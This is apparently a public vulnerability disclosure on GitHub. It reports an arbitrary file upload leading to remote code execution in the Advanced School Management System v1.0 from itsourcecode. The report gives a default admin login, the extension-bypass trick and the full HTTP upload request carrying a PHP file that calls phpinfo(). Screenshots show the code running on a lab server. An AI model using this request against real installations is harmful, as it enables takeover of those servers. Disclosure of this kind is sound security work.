

main

...

bug_report / vendors / itsourcecode.com / advanced-school-management-system / RCE-1.md



tamchikit Update RCE-1.md

History

1 contributor

80 lines (58 sloc) | 2.88 KB

...

Advanced School Management System v1.0 by itsourcecode.com has arbitrary code execution (RCE)

Vul_Author: Zhijie Tan

vendor: <https://itsourcecode.com/free-projects/php-project/advanced-school-management-system-in-php-with-source-code/>

Vulnerability url: ip/school/view/all_teacher.php(RCE vulnerability exists in "edit" function of Ip/School/view/all_teacher.php)

Loophole location: There is an arbitrary file upload vulnerability (RCE) in the "edit" function file picture upload point of the TEACHER module in the background management system. You can change the "php" suffix of "shell.php" to "png" to bypass the front-end detection, and then modify the "png" back to the original "php" by grabbing the Burp package. The "shell.php" file can be uploaded successfully after putting back the request packet.

Super Admin account password: suarez081119@gmail.com/12345

Request package for file upload:

POST /school/index.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/school/view/all_teacher.php
Cookie: PHPSESSID=kh42r202aj35u61brcutn42s96
Connection: close
Content-Type: multipart/form-data; boundary=-----1276517287452
Content-Length: 1148

-----12765172874523
Content-Disposition: form-data; name="full_name"

Teacher 6

-----12765172874523
Content-Disposition: form-data; name="i_name"

Teacher 6

-----12765172874523
Content-Disposition: form-data; name="address"

School

-----12765172874523
Content-Disposition: form-data; name="gender"

Male

-----12765172874523
Content-Disposition: form-data; name="phone"

666-666-6666

-----12765172874523
Content-Disposition: form-data; name="email"

t6@gmail.com

-----12765172874523
Content-Disposition: form-data; name="fileToUpload"; filename="shell.php"
Content-Type: image/jpeg

JFJF

<?php phpinfo();?>
-----12765172874523
Content-Disposition: form-data; name="c_page"

1

-----12765172874523

Content-Disposition: form-data; name="id"

15

-----12765172874523

Content-Disposition: form-data; name="do"

update_teacher

-----12765172874523--

The files will be uploaded to this directory \school\uploads

本地磁盘 (C:) \ xampp \ htdocs \ school \ uploads

共享 放映幻灯片 新建文件夹

名称 ^	日期	类型	大小	标记
2018023053415.sql	2018/2/3 18:34	SQL 文件	37 KB	
2018024035940.jpg	2018/2/4 4:59	JPEG 图像	13 KB	
2018024035941.png	2018/2/4 4:59	PNG 图像	393 KB	
2018024041058.jpg	2018/2/4 5:11	JPEG 图像	41 KB	
2018024042603.jpg	2018/2/4 5:26	JPEG 图像	41 KB	
2022063025545.php	2022/6/3 20:55	PHP 文件	1 KB	
20170923014016...	2017/9/13 13:46	JPEG 图像	138 KB	
20170923124105...	2017/9/23 13:41	JPEG 图像	13 KB	
20170926015311...	2017/9/26 14:53	PNG 图像	60 KB	
20170926015324...	2017/9/26 14:53	PNG 图像	47 KB	
20170926015337...	2017/9/26 14:53	PNG 图像	80 KB	
20170926015349...	2017/9/26 14:53	PNG 图像	45 KB	
20170926015400...	2017/9/26 14:54	PNG 图像	77 KB	
20170926015414...	2017/9/26 14:54	PNG 图像	73 KB	
20170926015427	2017/9/26 14:54	PNG 图像	40 KB	

We visited the directory of the file in the browser and found that the code had been executed

Load URL

Split URL

Execute

http://192.168.1.19/school/uploads/2022063025545.php|

☐ Post data ☐ Referrer

0xHEX

%URL

BASE64

Insert string to replace

Insert

JFJF

PHP Version 8.0.7

System	Windows NT HOST1 6.1 build 7601 (Windows 7 Ultimate Edition Service I
Build Date	Jun 2 2021 00:33:38
Build System	Microsoft Windows Server 2016 Standard [10.0.14393]
Compiler	Visual C++ 2019
Architecture	x64